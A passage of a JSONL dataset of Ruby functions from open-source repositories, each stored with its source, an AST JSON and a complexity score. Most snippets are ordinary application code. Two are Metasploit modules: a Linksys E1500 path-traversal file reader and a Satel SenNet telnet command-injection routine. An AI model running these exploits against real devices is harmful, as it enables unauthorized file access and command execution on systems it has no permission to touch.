"children\":[{\"type\":\"sym\",\"children\":[\"show_hierarchies\"]},{\"type\":\"send\",\"children\":[null,\"boolearize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"showHierarchies\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_subprojects\"]},{\"type\":\"send\",\"children\":[null,\"boolearize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"includeSubprojects\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timestamp\"]},\"parse_multiple\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamps\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},null]}]}","id":"4440d692-6568-48c0-a2ff-db4f6cfd1dcf"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_settings/validations.rb","start_line":112,"raw_source":"def validate_default_tags(tag_names, default_tags_selected)\n    validate_error :default_tags_already_selected if (tag_names & default_tags_selected).size > 0\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_default_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_names\"]},{\"type\":\"arg\",\"children\":[\"default_tags_selected\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"default_tags_selected\"]}]}]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"validate_error\",{\"type\":\"sym\",\"children\":[\"default_tags_already_selected\"]}]},null]}]}","id":"3e35a02f-4d9f-4764-a76e-240ffbddb38d"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/notifications/new_follower_worker.rb","start_line":7,"raw_source":"def perform(follow_data, is_read = false) # rubocop:disable Style/OptionalBooleanParameter\n      Notifications::NewFollower::Send.call(follow_data, is_read: is_read)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"follow_data\"]},{\"type\":\"optarg\",\"children\":[\"is_read\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"NewFollower\"]},\"Send\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"follow_data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_read\"]},{\"type\":\"lvar\",\"children\":[\"is_read\"]}]}]}]}]}","id":"0a34eb30-40b0-4c22-812c-172d7cbf2a37"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb","start_line":53,"raw_source":"def find_files(file, user, pass)\n    uri = \"/apply.cgi\"\n    traversal = '../..'\n    data_trav = \"submit_type=wsc_method2&change_action=gozila_cgi&next_page=\" << traversal << file\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => uri,\n      'authorization' => basic_auth(user, pass),\n      'vars_post' => {\n        \"submit_type\" => \"wsc_method2\",\n        \"change_action\" => \"gozila_cgi\",\n        \"next_page\" => traversal << file\n      }\n    })\n\n    # without res.body.length we get lots of false positives\n    if (res and res.code == 200 and res.body.length > 0)\n      print_good(\"#{rhost}:#{rport} - Request may have succeeded on file #{file}\")\n      report_web_vuln({\n        :host => rhost,\n        :port => rport,\n        :vhost => datastore['VHOST'],\n        :path => uri,\n        :pname => data_trav,\n        :risk => 3,\n        :proof => data_trav,\n        :name => self.fullname,\n        :category => \"web\",\n        :method => \"POST\"\n      })\n\n      loot = store_loot(\"linksys.traversal.data\", \"text/plain\", rhost, res.body, file)\n      vprint_good(\"#{rhost}:#{rport} - File #{file} downloaded to: #{loot}\")\n    elsif (res and res.code)\n      vprint_error(\"#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}\")\n    end\n  end","complexity_score":50.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"str\",\"children\":[\"/apply.cgi\"]}]},{\"type\":\"lvasgn\",\"children\":[\"traversal\",{\"type\":\"str\",\"children\":[\"../..\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data_trav\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"submit_type=wsc_method2&change_action=gozila_cgi&next_page=\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"traversal\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"submit_type\"]},{\"type\":\"str\",\"children\":[\"wsc_method2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"change_action\"]},{\"type\":\"str\",\"children\":[\"gozila_cgi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"next_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traversal\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Request may have succeeded on file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_web_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pname\"]},{\"type\":\"lvar\",\"children\":[\"data_trav\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"data_trav\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"web\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"linksys.traversal.data\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - File \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\" downloaded to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Attempt returned HTTP error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" when trying to access \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},null]}]}]}]}","id":"0ca178ff-85be-45c5-83cd-8e7e43af418f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb","start_line":50,"raw_source":"def run_host(ip)\n    to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']\n    begin\n      ::Timeout.timeout(to) do\n        command = datastore['CMD']\n        inject = \"$true; #{command}\"\n        res = connect\n\n        print_status(\"Sending command now - #{command}\")\n\n        sock.puts(inject)\n        data = sock.get_once(-1, to)\n        print_good(\"#{data}\")\n\n        loot_name = 'cmd-exec-log'\n        loot_type = 'text/plain'\n        loot_desc = 'Satel SenNet CMD Exec Dump'\n        p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)\n        print_good(\"File saved in: #{p}\")\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError\n      print_error(\"#{rhost}:#{rport} - Connection Failed...\")\n      return false\n    ensure\n      disconnect\n    end\n  end","complexity_score":44.68,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]},\"zero?\"]}]},{\"type\":\"int\",\"children\":[30]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"timeout\",{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"inject\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$true; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"connect\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending command now - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"inject\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_name\",{\"type\":\"str\",\"children\":[\"cmd-exec-log\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_type\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_desc\",{\"type\":\"str\",\"children\":[\"Satel SenNet CMD Exec Dump\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"lvar\",\"children\":[\"loot_name\"]},{\"type\":\"lvar\",\"children\":[\"loot_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"loot_desc\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Connection Failed...\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}]}]}","id":"d4d83ba1-dfe0-4baa-aab1-4a5f5d15bda8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/loaders/issuable_loader.rb","start_line":32,"raw_source":"def post_process(query, with_query)\n          if with_query\n            with_query.call(query)\n          else\n            query\n          end\n        end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"post_process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"with_query\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_query\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}","id":"b5f2dc96-55dd-40d2-83c1-db0b22982d02"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":588,"raw_source":"def change_table(table_name, **options)\n        if block_given?\n          super { |t| yield compatible_table_definition(t) }\n        else\n          super\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"change_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compatible_table_definition\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"3acc7939-41f6-43e7-8786-7739cbb704bc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/result.rb","start_line":109,"raw_source":"def column?\n      type == :column\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"column?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"column\"]}]}]}","id":"a764444a-0abb-4be1-bab3-f4d4aeb8099c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/invite.rb","start_line":276,"raw_source":"def self.redeemed_users(inviter)\n    InvitedUser\n      .joins(\"LEFT JOIN invites ON invites.id = invited_users.invite_id\")\n      .includes(user: :user_stat)\n      .where.not(user_id: nil)\n      .where(\"invites.invited_by_id = ?\", inviter.id)\n      .order(\"invited_users.redeemed_at DESC\")\n      .references(\"invite\")\n      .references(\"user\")\n      .references(\"user_stat\")\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"redeemed_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inviter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InvitedUser\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN invites ON invites.id = invited_users.invite_id\"]}]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"user_stat\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"invites.invited_by_id = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inviter\"]},\"id\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"invited_users.redeemed_at DESC\"]}]},\"references\",{\"type\":\"str\",\"children\":[\"invite\"]}]},\"references\",{\"type\":\"str\",\"children\":[\"user\"]}]},\"references\",{\"type\":\"str\",\"children\":[\"user_stat\"]}]}]}","id":"cdcb32a9-cfdc-46e0-965e-63eb80821d51"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/finders/spree/storefront/variant_finder.rb","start_line":75,"raw_source":"def product_option_types\n        @product_option_types ||= @product.option_types.to_a\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"product_option_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@product_option_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"option_types\"]},\"to_a\"]}]}]}","id":"1d70ffbe-71be-4b14-acc4-3a7cbc4fb4df"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/relations.rb","start_line":385,"raw_source":"def relations_group\n        page.find_by_id(\"work-package-relations-tab-content\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"relations_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_by_id\",{\"type\":\"str\",\"children\":[\"work-package-relations-tab-content\"]}]}]}","id":"2a2269ea-e25e-4c68-a55c-a9848fb92a8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/test/base_service.rb","start_line":19,"raw_source":"def execute\n        if event && (integration.supported_events.exclude?(event) || data.blank?)\n          return error('Testing not available for this event')\n        end\n\n        integration.test(data)\n      rescue ArgumentError => e\n        error(e.message)\n      end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"supported_events\"]},\"exclude?\",{\"type\":\"send\",\"children\":[null,\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"blank?\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Testing not available for this event\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"test\",{\"type\":\"send\",\"children\":[null,\"data\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"616d789f-c10f-4c48-8a63-d3b0575acd63"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/user.rb","start_line":65,"raw_source":"def total_cities\n    cities_visited.size\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"total_cities\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cities_visited\"]},\"size\"]}]}","id":"e1ee63f0-6878-45b3-af9f-031a69c6fe76"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_base.rb","start_line":11,"raw_source":"def initialize(service)\n    self.service            = service\n    self.framework          = service.framework\n    self.tokens             = service.tokens\n    self.users              = service.users\n    self.job_status_tracker = service.job_status_tracker\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service=\",{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"framework\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tokens=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"tokens\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"users=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"users\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_status_tracker=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"job_status_tracker\"]}]}]}]}","id":"50342aea-0e3b-4238-8058-fce3b1c27885"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/ui/fastlane_runner.rb","start_line":320,"raw_source":"def show_github_issues(message_or_error)\n      return if FastlaneCore::Env.truthy?(\"FASTLANE_HIDE_GITHUB_ISSUES\")\n      return if FastlaneCore::Helper.test?\n\n      require 'gh_inspector'\n      require 'fastlane_core/ui/github_issue_inspector_reporter'\n\n      inspector = GhInspector::Inspector.new(\"fastlane\", \"fastlane\", verbose: FastlaneCore::Globals.verbose?)\n      delegate = Fastlane::InspectorReporter.new\n      if message_or_error.kind_of?(String)\n        inspector.search_query(message_or_error, delegate)\n      else\n        inspector.search_exception(message_or_error, delegate)\n      end\n    rescue => ex\n      FastlaneCore::UI.error(\"Error finding relevant GitHub issues: #{ex}\") if FastlaneCore::Globals.verbose?\n    end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"show_github_issues\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message_or_error\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Env\"]},\"truthy?\",{\"type\":\"str\",\"children\":[\"FASTLANE_HIDE_GITHUB_ISSUES\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"test?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"gh_inspector\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"fastlane_core/ui/github_issue_inspector_reporter\"]}]},{\"type\":\"lvasgn\",\"children\":[\"inspector\",{\"type\